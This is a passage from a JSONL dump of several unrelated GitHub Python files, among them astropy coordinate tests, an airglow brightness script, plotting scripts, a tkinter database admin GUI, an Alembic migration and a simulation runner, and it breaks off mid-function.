pm_ra_cosdec=12 * u.mas / u.yr,\n pm_dec=13 * u.mas / u.yr,\n )\n sc = SkyCoord(\n ra=20 * u.deg,\n dec=21.0 * u.deg,\n pm_ra_cosdec=22 * u.mas / u.yr,\n pm_dec=23 * u.mas / u.yr,\n )\n\n res = concatenate([fr, sc])\n\n with pytest.raises(ValueError):\n concatenate([fr, fk5])\n\n fr2 = ICRS(ra=10 * u.deg, dec=11.0 * u.deg)\n with pytest.raises(ValueError):\n concatenate([fr, fr2])\n\n\n@pytest.mark.parametrize(\n \"rep\",\n (\n CARTESIAN_POS,\n SPHERICAL_POS,\n UNIT_SPHERICAL_POS,\n CARTESIAN_POS_2D_ARR,\n CARTESIAN_POS_3D_ARR,\n CARTESIAN_POS_AND_VEL,\n SPHERICAL_POS.with_differentials(SPHERICAL_COS_LAT_VEL),\n UNIT_SPHERICAL_POS.with_differentials(SPHERICAL_COS_LAT_VEL),\n UNIT_SPHERICAL_POS.with_differentials(UNIT_SPHERICAL_COS_LAT_VEL),\n UNIT_SPHERICAL_POS.with_differentials({\"s\": RADIAL_VEL}),\n CARTESIAN_POS_2D_ARR.with_differentials(CARTESIAN_VEL_2D_ARR),\n CARTESIAN_POS_3D_ARR.with_differentials(CARTESIAN_VEL_3D_ARR),\n ),\n)\n@pytest.mark.parametrize(\"n\", (2, 4))\ndef test_concatenate_representations(rep, n):\n # Test that combining with itself succeeds\n expected_shape = (n * rep.shape[0],) + rep.shape[1:] if rep.shape else (n,)\n\n tmp = concatenate_representations(n * (rep,))\n assert tmp.shape == expected_shape\n\n if \"s\" in rep.differentials:\n assert tmp.differentials[\"s\"].shape == expected_shape\n\n\ndef test_concatenate_representations_invalid_input():\n # Test that combining pairs fails\n with pytest.raises(TypeError):\n concatenate_representations((CARTESIAN_POS, SPHERICAL_POS))\n\n with pytest.raises(ValueError):\n concatenate_representations((CARTESIAN_POS, CARTESIAN_POS_AND_VEL))\n\n # Check that passing in a single object fails\n with pytest.raises(TypeError):\n concatenate_representations(CARTESIAN_POS)\n\n\ndef test_concatenate_representations_different_units():\n concat = concatenate_representations(\n [r.CartesianRepresentation([1, 2, 3] * unit) for unit in (u.pc, u.kpc)]\n )\n assert np.array_equal(concat.xyz, [[1, 1000], [2, 2000], [3, 3000]] * u.pc)\n","repo_name":"astropy/astropy","sub_path":"astropy/coordinates/tests/test_funcs.py","file_name":"test_funcs.py","file_ext":"py","file_size_in_byte":7225,"program_lang":"python","lang":"en","doc_type":"code","stars":4015,"dataset":"github-code","pt":"21"} +{"seq_id":"35878451056","text":"# Ulas Kamaci - 2020-06-01\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport netCDF4, pyglow\nfrom iconfuv.misc import lastfile\nfrom dateutil import parser\nfrom airglow.FUV_L2 import get_msisGPI, create_cells_Matrix_spherical_symmetry\n\npath_dir = '/home/kamo/resources/iconfuv/nc_files/'\n\n# determine the parameters\ndate = '2020-01-04'\nepoch = 610\nstripe = 2\n\n# read the files\nfile_GPI = path_dir + 'ICON_Ancillary_GPI_2015-001-to-2020-132_v01r000.NC'\nfile_anc = lastfile(path_dir+'l0/ICON_L0P_FUV_Ancillary_{}_v03r*'.format(date))\nfile_l2 = lastfile('/home/kamo/resources/iconfuv/nc_files/l2/ICON_L2-5_FUV_Night_{}_v03r*'.format(date))\nfile_l1 = lastfile(path_dir + 'l1/ICON_L1_FUV_SWP_{}_v03r*'.format(date))\nl2 = netCDF4.Dataset(file_l2, mode='r')\nl1 = netCDF4.Dataset(file_l1, mode='r')\ngpi = netCDF4.Dataset(file_GPI, mode='r')\nanc = netCDF4.Dataset(file_anc, mode='r')\n\n# set the variables\nmode = l1.variables['ICON_L1_FUV_Mode'][:]\nidx_night = np.where(mode==2)[0]\nepoch = idx_night[epoch]\nlocal_time = anc.variables['ICON_ANCILLARY_FUVA_TANGENTPOINTS_LST'][epoch, -1, stripe]\nprint('Local Time: {}'.format(local_time))\ndn = parser.parse(anc.variables['ICON_ANCILLARY_FUV_TIME_UTC'][epoch])\nap3 = gpi['ap3'][:]\nap = gpi['ap'][:]\nyear_day = gpi['year_day'][:]\nf107 = gpi['f107d'][:]\n# Make sure this GPI has the average f107 in it\nif 'f107a' in gpi.variables.keys():\n f107a = gpi['f107a'][:]\nelse:\n print('Cannot find f107a in provided GPI file. Using daily f107 instead')\n f107a = gpi['f107d'][:]\n\nsatlat = anc.variables['ICON_ANCILLARY_FUV_LATITUDE'][epoch]\nsatlon = anc.variables['ICON_ANCILLARY_FUV_LONGITUDE'][epoch]\nsatalt = anc.variables['ICON_ANCILLARY_FUV_ALTITUDE'][epoch]\nlat_arr = anc.variables['ICON_ANCILLARY_FUVA_TANGENTPOINTS_LATLONALT'][epoch, :, stripe, 0]\nlon_arr = anc.variables['ICON_ANCILLARY_FUVA_TANGENTPOINTS_LATLONALT'][epoch, :, stripe, 1]\nalt_arr = anc.variables['ICON_ANCILLARY_FUVA_TANGENTPOINTS_LATLONALT'][epoch, :, stripe, 2]\nze = anc.variables['ICON_ANCILLARY_FUVA_FOV_ZENITH_ANGLE'][epoch, :, stripe]\nze = ze[alt_arr>150]\nlat_arr = lat_arr[alt_arr>150]\nlon_arr = lon_arr[alt_arr>150]\nalt_arr = alt_arr[alt_arr>150]\nO_p_arr = np.zeros_like(alt_arr)\nO_arr = np.zeros_like(alt_arr)\nNe_arr = np.zeros_like(alt_arr)\nRR1_arr = np.zeros_like(alt_arr)\nRR2_arr = np.zeros_like(alt_arr)\nlt = anc.variables['ICON_ANCILLARY_FUVA_TANGENTPOINTS_LST'][epoch, -len(lat_arr), stripe]\nlt_h = int(lt)\nlt_m = int(60*(lt-lt_h))\n\nD = create_cells_Matrix_spherical_symmetry(ze[::-1],satalt)\n\nfor i, alt in enumerate(alt_arr):\n my_f107, my_f107a, my_f107p, my_apmsis = get_msisGPI(dn, year_day, f107, f107a, ap, ap3)\n pt = pyglow.Point(dn, lat_arr[i], lon_arr[i], alt, user_ind=True)\n # pt = pyglow.Point(dn, satlat, satlon, alt, user_ind=True)\n pt.f107 = my_f107\n pt.f107a = my_f107a\n pt.f107p = my_f107p\n pt.apmsis = my_apmsis\n pt.run_iri()\n pt.run_msis()\n\n # Pull necessary constitutents\n O_p_arr[i] = pt.ni['O+'] # O+ density (1/cm^3)\n O_arr[i] = pt.nn['O'] # O density (1/cm^3)\n Ne_arr[i] = pt.ne # electron density (1/cm^3)\n\n # Calcualte radiative recombination (equation 17) and mutual neutralization (equation 18)\n a1356 = 7.3e-13 # radiative recombination rate (cm^3/s)\n RR1_arr[i] = a1356*Ne_arr[i]*O_p_arr[i] # radiative recombination (1/cm^3/s)\n RR2_arr[i] = a1356*Ne_arr[i]**2 # radiative recombination (1/cm^3/s)\n\nbr_calc = np.dot(D, RR1_arr[::-1])\nbr_calc = br_calc[::-1]\n# %% plot\nplt.figure()\nplt.plot(Ne_arr, alt_arr, label='Ne')\nplt.plot(O_p_arr, alt_arr, label='[O+]')\nplt.plot(O_arr, alt_arr, label='[O]')\nplt.title('({:.0f}'.format(lat_arr[-1]) + u\"\\N{DEGREE SIGN}\" +\n 'N, ' + '{:.0f}'.format(360-lon_arr[-1]) + u\"\\N{DEGREE SIGN}\" + 'W) ' +\n dn.strftime(\"%x\") + ' {:02d}:{:02d} LT'.format(lt_h,lt_m))\nplt.xlabel('Density ($cm^{-3}$)')\nplt.ylabel('Altitude [km]')\nplt.grid(which='both', axis='both')\nplt.legend()\nplt.show()\n\nplt.figure()\nplt.plot(RR1_arr, alt_arr, label='RR=(Ne)*(O+)')\nplt.plot(RR2_arr, alt_arr, label='RR=(Ne)$^2$')\nplt.title('Computed VER Comparison')\nplt.xlabel('Volume Emission Rate')\nplt.ylabel('Altitude [km]')\nplt.grid(which='both', axis='both')\nplt.legend()\nplt.show()\n\nplt.figure()\nplt.plot(br_calc, alt_arr, label='IRI Brightness')\nplt.title('IRI Brightness')\nplt.xlabel('Brightness [R]')\nplt.ylabel('Tangent Altitude [km]')\nplt.grid(which='both', axis='both')\nplt.legend()\nplt.show()\n","repo_name":"UIUC-SINE/icon-fuv","sub_path":"python3/scripts/ne_o_tests.py","file_name":"ne_o_tests.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34268472522","text":"from pyrsona import BaseStructure\nfrom pydantic import BaseModel\nfrom datetime import time\n\n\nclass ExampleStructure(BaseStructure):\n\n structure = (\n \"operator name: {operator_name}\\n\"\n \"country: {country}\\n\"\n \"year: {}\\n\"\n \"\\n\"\n \"ID,Time,Duration (sec),Reading\\n\"\n )\n\n class meta_model(BaseModel):\n operator_name: str\n country: str\n\n class row_model(BaseModel):\n id: int\n time: time\n duration_sec: float\n value: float\n\n\nmeta, table_rows, structure_id = ExampleStructure.read(\"examples/example.txt\")\n\nprint(meta)\n#> {'operator_name': 'Jane Smith', 'country': 'NZ'}\n\nprint(table_rows)\n#> [{'id': 1, 'time': datetime.time(20, 4, 5), 'value': 2098.0}, {'id': 2, 'time': datetime.time(20, 5), 'value': 4328.0}]\n\nprint(structure_id)\n#> 'ExampleStructure'","repo_name":"johnbullnz/pyrsona","sub_path":"examples/example_structure.py","file_name":"example_structure.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"3267589121","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport datetime as dt\n# import function as f\nimport sys\n\n##This code creates figures of temporal variaton of canopy disturbances (Fig 3 and S5)\n\n\ngapsdays = pd.read_csv('../Entrance/gaps_area_days_5years.csv')\ngapsdaysnumber = pd.read_csv('../Entrance/gaps_number_days_5years.csv')\n\n###Plot bars area\n#Convert days in integer format to datetime format. Map atributes to each value of the column\ngapsdays['dayscor'] = gapsdays['days'].map(dt.timedelta).astype('timedelta64[D]')\ngapsdaysnumber['dayscor'] = gapsdaysnumber['days'].map(dt.timedelta).astype('timedelta64[D]')\n\n#Convert date to datetime format\ngapsdays.loc[:,'date1'] = pd.to_datetime(gapsdays.date, format='%Y/%m/%d')\ngapsdaysnumber.loc[:,'date1'] = pd.to_datetime(gapsdaysnumber.date, format='%Y/%m/%d')\n\n###Create column of month\n\ngapsdays['month'] = gapsdays['date1'].dt.strftime('%Y-%m')\ngapsdaysnumber['month'] = gapsdaysnumber['date1'].dt.strftime('%Y-%m')\n\n\n####Figure area\n\ncolors = [\n[214,133,137],\n]\ncor = list(np.array(colors)/255.)\n\nplt.figure(figsize=(11, 5))\nplt.rc('font', family='Times New Roman', size=14)\n\n\ninicio = [\n'2014-05-01',\n'2015-05-01',\n'2016-05-01',\n'2017-05-01',\n'2018-05-01',\n'2019-05-01',\n]\n\nfinal = [\n'2014-12-31',\n'2015-12-31',\n'2016-12-31',\n'2017-12-31',\n'2018-12-31',\n'2019-12-31',\n]\n\ni = 0\nwhile i< len(inicio):\n\n plt.axvspan(pd.to_datetime(inicio[i]), pd.to_datetime(final[i]), alpha=0.5, color='gray')\n\n i+=1\n\n\nplt.bar(gapsdays['date1'], gapsdays['areapercmonth'], width=-gapsdays['dayscor'], align='edge', edgecolor='k', color=cor)\n\nplt.xlim(left = pd.to_datetime('2014-10-01'), right = pd.to_datetime('2019-11-30'))\nplt.ylabel(r'Canopy disturbance rate (% mo$^{-1}$)', labelpad=15, fontsize=16)\nplt.xlabel('Images dates', labelpad=10, fontsize=16)\n\n\nplt.savefig('../Exit/gap_area_5y_bars.png', dpi=300, bbox_inches='tight')\nplt.close()\n\n\n####Figure number\n\ncolors = [\n[214,133,137],\n]\ncor = list(np.array(colors)/255.)\n\nplt.figure(figsize=(11, 5))\nplt.rc('font', family='Times New Roman', size=14)\n\n\ninicio = [\n'2014-05-01',\n'2015-05-01',\n'2016-05-01',\n'2017-05-01',\n'2018-05-01',\n'2019-05-01',\n]\n\nfinal = [\n'2014-12-31',\n'2015-12-31',\n'2016-12-31',\n'2017-12-31',\n'2018-12-31',\n'2019-12-31',\n]\n\ni = 0\nwhile i< len(inicio):\n\n plt.axvspan(pd.to_datetime(inicio[i]), pd.to_datetime(final[i]), alpha=0.5, color='gray')\n\n i+=1\n\n\nplt.bar(gapsdaysnumber['date1'], gapsdaysnumber['numbermonthha'], width=-gapsdaysnumber['dayscor'], align='edge', edgecolor='k', color=cor)\n\nplt.xlim(left = pd.to_datetime('2014-10-01'), right = pd.to_datetime('2019-11-30'))\nplt.ylabel(r'Number of disturbances (n ha$^{-1}$ mo$^{-1}$)', labelpad=15, fontsize=16)\nplt.xlabel('Images dates', labelpad=10, fontsize=16)\n\n\nplt.savefig('../Exit/gap_number_5y_bars.png', dpi=300, bbox_inches='tight')\nplt.close()\n\n","repo_name":"Raquel-Araujo/gap_dynamics_BCI50ha","sub_path":"Temporal_variation/Scripts/gaps1.py","file_name":"gaps1.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40173875245","text":"from updater import *\nimport tkinter as tk\nimport ttkbootstrap as ttk\n\ndef insert_shop():\n iid = shop_itemid_entry_option.get()\n sname = shop_shopname_entry_option.get()\n sid = shop_shopid_entry_option.get()\n pr = shop_price_entry_option.get()\n k=shop_inserter(iid,sname,sid,pr)\n del_final_label_option.set(k)\n\ndef insert_item():\n aid = item_actid_entry_option.get()\n iid = item_itemid_entry_option.get()\n iname = item_itemname_entry_option.get()\n k=item_inserter(aid,iid,iname)\n del_final_label_option.set(k)\n\ndef insert_act():\n idd = act_actid_entry_option.get()\n aname = act_actname_entry_option.get()\n k = activity_inserter(idd,aname,)\n del_final_label_option.set(k)\ndef insert_place():\n idd = place_actid_entry_option.get()\n pname = place_place_entry_option.get()\n dname = place_dist_entry_option.get()\n k = place_inserter(idd,pname,dname)\n del_final_label_option.set(k)\ndef remover():\n x=del_entry_option.get()\n k=deleter(x)\n del_final_label_option.set(k)\n\nroot = ttk.Window(themename='darkly')\nroot.geometry('1280x720')\nroot.title('ADMIN')\nroot.attributes('-fullscreen',True)\nmain_label = ttk.Label(\n master=root,\n text='ADMINISTRATOR PRIVILEGE',\n font='Calibri 20'\n)\nmain_label.pack(pady=10)\nseparator = ttk.Frame(\n master=root,\n bootstyle = 'primary',\n height=2\n)\nseparator.pack(fill=tk.X)\n\nf00 = ttk.Frame(master=root,width=640)\n\n#!Activity part\nact_label = ttk.Label(\n master=f00,\n text='INSERT ACTIVITY',\n font='Calibri 15'\n)\nact_label.pack(pady=5)\n#*ID\n\nact_actid = ttk.Frame(master=f00)\nact_actid_label = ttk.Label(\n act_actid,\n text='Activity ID:',\n font='Calibri 12'\n)\nact_actid_label.pack(pady=10,side='left')\n\nact_actid_entry_option = ttk.IntVar()\nact_actid_entry = ttk.Entry(\n act_actid,\n textvariable=act_actid_entry_option\n)\nact_actid_entry.pack(side='left')\nact_actid.pack()\n\n#*ACTIVITY\n\nact_actname = ttk.Frame(master=f00)\nact_actname_label = ttk.Label(\n act_actname,\n text='Activity Name:',\n font='Calibri 12'\n)\nact_actname_label.pack(pady=10,side='left')\n\nact_actname_entry_option = ttk.StringVar()\nact_actname_entry = ttk.Entry(\n act_actname,\n textvariable=act_actname_entry_option\n)\nact_actname_entry.pack(side='left')\nact_actname.pack()\n\n\nact_insert_button = ttk.Button(\n f00,\n text='INSERT',\n command=insert_act\n)\nact_insert_button.pack(pady=10,padx=10)\n\n#!place\n\nplace_label = ttk.Label(\n master=f00,\n text='INSERT PLACE',\n font='Calibri 15'\n)\nplace_label.pack(pady=5)\n\n#*PLACE act id\n\nplace_actid = ttk.Frame(master=f00)\nplace_actid_label = ttk.Label(\n place_actid,\n text='Activity ID:',\n font='Calibri 12'\n)\nplace_actid_label.pack(pady=10,side='left')\n\nplace_actid_entry_option = ttk.IntVar()\nplace_actid_entry = ttk.Entry(\n place_actid,\n textvariable=place_actid_entry_option\n)\nplace_actid_entry.pack(side='left')\nplace_actid.pack()\n\n#*place place\n\nplace_place = ttk.Frame(master=f00)\nplace_place_label = ttk.Label(\n place_place,\n text='Place:',\n font='Calibri 12'\n)\nplace_place_label.pack(pady=10,side='left')\n\nplace_place_entry_option = ttk.StringVar()\nplace_place_entry = ttk.Entry(\n place_place,\n textvariable=place_place_entry_option\n)\nplace_place_entry.pack(side='left')\nplace_place.pack()\n\n#*DISTRICT\n\nplace_dist = ttk.Frame(master=f00)\nplace_dist_label = ttk.Label(\n place_dist,\n text='District:',\n font='Calibri 12'\n)\nplace_dist_label.pack(pady=10,side='left')\n\nplace_dist_entry_option = ttk.StringVar()\nplace_dist_entry = ttk.Entry(\n place_dist,\n textvariable=place_dist_entry_option\n)\nplace_dist_entry.pack(side='left')\nplace_dist.pack()\n\nplace_insert_button = ttk.Button(\n f00,\n text='INSERT',\n command=insert_place\n)\nplace_insert_button.pack(pady=10,padx=10)\n\n#!ITEM PART\nitem_label = ttk.Label(\n master=f00,\n text='INSERT ITEM DETAILS',\n font='Calibri 15'\n)\nitem_label.pack(pady=5)\n#*item actid\nitem_actid = ttk.Frame(master=f00)\nitem_actid_label = ttk.Label(\n item_actid,\n text='Activity ID:',\n font='Calibri 12'\n)\nitem_actid_label.pack(pady=10,side='left')\n\nitem_actid_entry_option = ttk.IntVar()\nitem_actid_entry = ttk.Entry(\n item_actid,\n textvariable=item_actid_entry_option\n)\nitem_actid_entry.pack(side='left')\nitem_actid.pack()\n\n#*item itemid\nitem_itemid = ttk.Frame(master=f00)\nitem_itemid_label = ttk.Label(\n item_itemid,\n text='Item ID:',\n font='Calibri 12'\n)\nitem_itemid_label.pack(pady=10,side='left')\n\nitem_itemid_entry_option = ttk.IntVar()\nitem_itemid_entry = ttk.Entry(\n item_itemid,\n textvariable=item_itemid_entry_option\n)\nitem_itemid_entry.pack(side='left')\nitem_itemid.pack()\n\n#*item name\nitem_itemname = ttk.Frame(master=f00)\nitem_itemname_label = ttk.Label(\n item_itemname,\n text='Item Name:',\n font='Calibri 12'\n)\nitem_itemname_label.pack(pady=10,side='left')\n\nitem_itemname_entry_option = ttk.StringVar()\nitem_itemname_entry = ttk.Entry(\n item_itemname,\n textvariable=item_itemname_entry_option\n)\nitem_itemname_entry.pack(side='left')\nitem_itemname.pack()\n\nitem_insert_button = ttk.Button(\n f00,\n text='INSERT',\n command=insert_item\n)\nitem_insert_button.pack(pady=10,padx=10)\n\n#!SHOP\nshop_label = ttk.Label(\n master=f00,\n text='INSERT SHOP DETAILS',\n font='Calibri 15'\n)\nshop_label.pack(pady=5)\n#*shop itemid\nshop_itemid = ttk.Frame(master=f00)\nshop_itemid_label = ttk.Label(\n shop_itemid,\n text='Item ID:',\n font='Calibri 12'\n)\nshop_itemid_label.pack(pady=10,side='left')\n\nshop_itemid_entry_option = ttk.IntVar()\nshop_itemid_entry = ttk.Entry(\n shop_itemid,\n textvariable=shop_itemid_entry_option\n)\nshop_itemid_entry.pack(side='left')\nshop_itemid.pack()\n\n#*shop shopname\nshop_shopname = ttk.Frame(master=f00)\nshop_shopname_label = ttk.Label(\n shop_shopname,\n text='Shop Name:',\n font='Calibri 12'\n)\nshop_shopname_label.pack(pady=10,side='left')\n\nshop_shopname_entry_option = ttk.StringVar()\nshop_shopname_entry = ttk.Entry(\n shop_shopname,\n textvariable=shop_shopname_entry_option\n)\nshop_shopname_entry.pack(side='left')\nshop_shopname.pack()\n\n#*shop shopid\nshop_shopid = ttk.Frame(master=f00)\nshop_shopid_label = ttk.Label(\n shop_shopid,\n text='Shop ID:',\n font='Calibri 12'\n)\nshop_shopid_label.pack(pady=10,side='left')\n\nshop_shopid_entry_option = ttk.IntVar()\nshop_shopid_entry = ttk.Entry(\n shop_shopid,\n textvariable=shop_shopid_entry_option\n)\nshop_shopid_entry.pack(side='left')\nshop_shopid.pack()\n\n#*shop price\nshop_price = ttk.Frame(master=f00)\nshop_price_label = ttk.Label(\n shop_price,\n text='Price:',\n font='Calibri 12'\n)\nshop_price_label.pack(pady=10,side='left')\n\nshop_price_entry_option = ttk.IntVar()\nshop_price_entry = ttk.Entry(\n shop_price,\n textvariable=shop_price_entry_option\n)\nshop_price_entry.pack(side='left')\nshop_price.pack()\n\nshop_insert_button = ttk.Button(\n f00,\n text='INSERT',\n command=insert_shop\n)\nshop_insert_button.pack(pady=10,padx=10)\n\nf00.pack(side=tk.LEFT,fill=tk.BOTH,expand=True)\n\n#####################################################################################\n\n\nsep_frame = ttk.Frame(master=root,bootstyle = 'primary',width=2)\nsep_frame.pack(side=tk.LEFT,fill=tk.Y)\n\n\n#####################################################################################\n\nf001 = ttk.Frame(master=root,width=640)\nf01 = ttk.Frame(master=f001)\ndel_frame = ttk.Frame(master=f01)\n\ndel_label = ttk.Label(\n del_frame,\n text='Activity ID:',\n font='Calibri 12'\n)\ndel_label.pack(pady=10,side='left')\ndel_entry_option = ttk.IntVar()\ndel_entry = ttk.Entry(\n del_frame,\n textvariable=del_entry_option\n )\ndel_entry.pack(side='left')\ndel_frame.pack()\n\ndel_button = ttk.Button(\n f01,\n text='DELETE',\n command=remover\n)\ndel_button.pack(pady=10,padx=10)\nf01.pack(fill=tk.BOTH,pady=100)\n\nf0s = ttk.Frame(master=f001,bootstyle = 'primary',height=2)\nf0s.pack(fill=tk.X)\n\nf02 = ttk.Frame(master=f001)\ndel_final_label_option = ttk.StringVar()\ndel_final_label = ttk.Label(\n f02,\n text='sds',\n textvariable=del_final_label_option,\n font='Calibri 15'\n)\ndel_final_label.pack()\nf02.pack(pady=200)\nf001.pack(side=tk.RIGHT,fill=tk.BOTH,expand=True)\n\nroot.mainloop()\n\n\n\n","repo_name":"ShawnFrostX/dbms","sub_path":"admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":7967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8341327164","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"pyQt_utils test window.\"\"\"\r\n\r\nfrom pyqtgraph.Qt import QtCore, QtGui, QtWidgets\r\nfrom pyQt_utils import slider_win, setSlider, mySlider\r\nimport sys\r\n\r\n\r\nclass Window(QtWidgets.QWidget):\r\n \"\"\"Temporary docstring.\"\"\"\r\n\r\n def __init__(self, parent=None):\r\n super().__init__()\r\n\r\n self.saveBtn = QtGui.QPushButton('set Slider', self)\r\n self.saveBtn.move(50, 20)\r\n self.slider1 = mySlider(QtCore.Qt.Horizontal, self)\r\n setSlider(self.slider1, 0, 10, .3)\r\n # self.slider1.setMinimum(0)\r\n # self.slider1.setMaximum(10)\r\n # self.slider1.setStep(.3)\r\n self.slider1.valueChanged.connect(self.test)\r\n self.saveBtn.clicked.connect(self.on_Button_clicked)\r\n\r\n self.show()\r\n\r\n def test(self):\r\n print(self.slider1.value())\r\n\r\n def on_Button_clicked(self):\r\n self.dialog = slider_win(self.slider1, parent=self)\r\n self.dialog.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n print('main')\r\n root = QtWidgets.QApplication(sys.argv)\r\n app = Window()\r\n sys.exit(root.exec_())\r\n","repo_name":"cwgaldino/FI226-Magnetic-trap","sub_path":"pyQtUtils/test_application.py","file_name":"test_application.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22950846361","text":"'''\n File name: getFeaturesInBox.py\n Author:\n Date created:\n'''\n\n'''\n File clarification:\n Identify features within the bounding box for each object:\n - Input img: H ×W matrix representing the grayscale input image.\n - Input bbox: F ×4×2 matrix representing the four corners of the bounding box where F is the number of\n objects you would like to track.\n - Output x: N ×F matrix representing the N row coordinates of the features across F objects.\n - Output y: N ×F matrix representing the N column coordinates of the features across F objects.\n'''\n\nimport cv2\nimport numpy as np\n\n\ndef getFeatures(img, bbox):\n F = len(bbox)\n startXs = [list() for i in range(F)]\n startYs = [list() for i in range(F)]\n for i in range(len(bbox)):\n if bbox[i][0][0]<0:bbox[i][0][0]=0\n if bbox[i][3][0]<0:bbox[i][3][0]=0\n if bbox[i][0][1]<0:bbox[i][0][1]=0\n if bbox[i][3][1]<0:bbox[i][3][1]=0\n\n imgPatch = img[bbox[i][0][1]:bbox[i][3][1], bbox[i][0][0]:bbox[i][3][0]]\n corners = cv2.goodFeaturesToTrack(imgPatch.astype(np.float32), 50, 1e-3, 0)\n try:\n corners = np.int0(corners)\n except TypeError:\n print('......................................')\n for corner in corners:\n x, y = corner.ravel()\n startXs[i].append(x + bbox[i][0][0])\n startYs[i].append(y + bbox[i][0][1])\n print('get ' + str(len(startYs[i]))+' features in box')\n\n return startXs, startYs\n","repo_name":"lolly-wang/opticalFlow","sub_path":"getFeatures.py","file_name":"getFeatures.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34664303333","text":"\"\"\"empty message\n\nRevision ID: cf578317c711\nRevises: 2ebb82619e3b\nCreate Date: 2020-11-18 23:45:48.592325\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"cf578317c711\"\ndown_revision = \"2ebb82619e3b\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table(\"channels\")\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"channels\",\n sa.Column(\"id\", sa.VARCHAR(length=100), autoincrement=False, nullable=False),\n sa.Column(\n \"resource_id\",\n sa.VARCHAR(length=100),\n server_default=sa.text(\"NULL::character varying\"),\n autoincrement=False,\n nullable=True,\n ),\n sa.Column(\"room_id\", sa.BIGINT(), autoincrement=False, nullable=True),\n sa.Column(\n \"created_at\", postgresql.TIMESTAMP(), autoincrement=False, nullable=True\n ),\n sa.Column(\n \"modified_at\", postgresql.TIMESTAMP(), autoincrement=False, nullable=True\n ),\n sa.ForeignKeyConstraint(\n [\"room_id\"], [\"rooms.id\"], name=\"channels_room_id_fkey\"\n ),\n sa.PrimaryKeyConstraint(\"id\", name=\"idx_16679_primary\"),\n )\n # ### end Alembic commands ###\n","repo_name":"Diverso-NVR/NVR","sub_path":"backend/migrations/versions/cf578317c711_.py","file_name":"cf578317c711_.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31098294067","text":"import numpy as np\nimport multiprocessing as mlt\nimport tqdm\n\nimport pickle\nimport os\n\nimport brute_force.bf_model as model\n\n\ndef get_pool_parameters(shared_parameters):\n\n seeds = np.random.randint(2 ** 32, size=shared_parameters.n_simulations)\n rs = np.random.random(size=shared_parameters.n_simulations)\n init_move_firms = np.random.randint(\n shared_parameters.n_prices*shared_parameters.n_positions,\n size=shared_parameters.n_simulations)\n\n parameters = [\n model.Parameters(\n n_positions=shared_parameters.n_positions,\n n_prices=shared_parameters.n_prices,\n t_max=shared_parameters.t_max,\n horizon=shared_parameters.horizon,\n mode=shared_parameters.mode,\n unit_value=shared_parameters.unit_value,\n r=rs[i],\n init_move_firm=init_move_firms[i],\n seed=seeds[i]\n )\n for i in range(shared_parameters.n_simulations)\n ]\n\n return parameters\n\n\ndef run(parameters):\n\n m = model.Model(parameters)\n positions, prices, profits = m.run()\n bkp = model.RunBackup(parameters=parameters, positions=positions, prices=prices, profits=profits)\n return bkp\n\n\ndef run_profits_comparison(parameters):\n\n m = model.Model(parameters)\n diff = m.run()\n return parameters.r, diff\n\n\ndef main_profits_comparison():\n\n # from multiprocessing.pool import ThreadPool\n pool = mlt.Pool()\n\n shared_parameters = model.SharedParameters(\n mode=model.Mode.compare_profits,\n n_simulations=200,\n t_max=200,\n horizon=1,\n n_positions=10,\n n_prices=5\n )\n pool_parameters = get_pool_parameters(shared_parameters)\n\n results = np.zeros((shared_parameters.n_simulations, 2))\n\n for i, r in enumerate(tqdm.tqdm(\n pool.imap_unordered(run_profits_comparison, pool_parameters),\n total=len(pool_parameters))):\n results[i] = r\n\n save(results)\n\n\ndef save(results, path=os.path.expanduser(\"~/Desktop/results.p\")):\n\n with open(path, \"wb\") as f:\n pickle.dump(results, f)\n\n\ndef distance_over_fov(file_name, pool_backup, fig_folder=None):\n from pylab import plt\n span_ratio = 0.33\n\n if fig_folder is None:\n fig_folder = \"data/figures\"\n\n os.makedirs(fig_folder, exist_ok=True)\n\n parameters = pool_backup.parameters\n backups = pool_backup.backups\n\n n_simulations = parameters.n_simulations\n\n n_positions = parameters.n_positions\n n_prices = parameters.n_prices\n unit_value = parameters.unit_value\n\n # Compute profit max\n profit_max = n_positions * n_prices * unit_value\n\n # Containers\n x = np.zeros(n_simulations)\n y = np.zeros(n_simulations)\n y_err = np.zeros(n_simulations)\n z = np.zeros(n_simulations)\n\n # How many time steps from the end of the simulation are included in analysis\n span = int(span_ratio * parameters.t_max)\n\n for i, b in enumerate(backups):\n\n try:\n # Save the parameter that affected the customers field of view\n x[i] = b.field_of_view / 2\n except AttributeError:\n x[i] = b.parameters.r\n\n # Compute the mean distance between the two firms\n data = np.absolute(\n b.positions[-span:, 0] -\n b.positions[-span:, 1]) / n_positions\n\n spacing = np.mean(data)\n spacing_std = np.std(data)\n\n y[i] = spacing\n y_err[i] = spacing_std\n\n # Get mean profits\n z[i] = np.mean(b.profits[-span:, :]) / profit_max\n\n # Plot this\n fig = plt.figure(figsize=(10, 6))\n ax = plt.subplot()\n\n ax.set_xlim(-0.01, 1.01)\n if max(y) < 0.5:\n ax.set_ylim(-0.01, 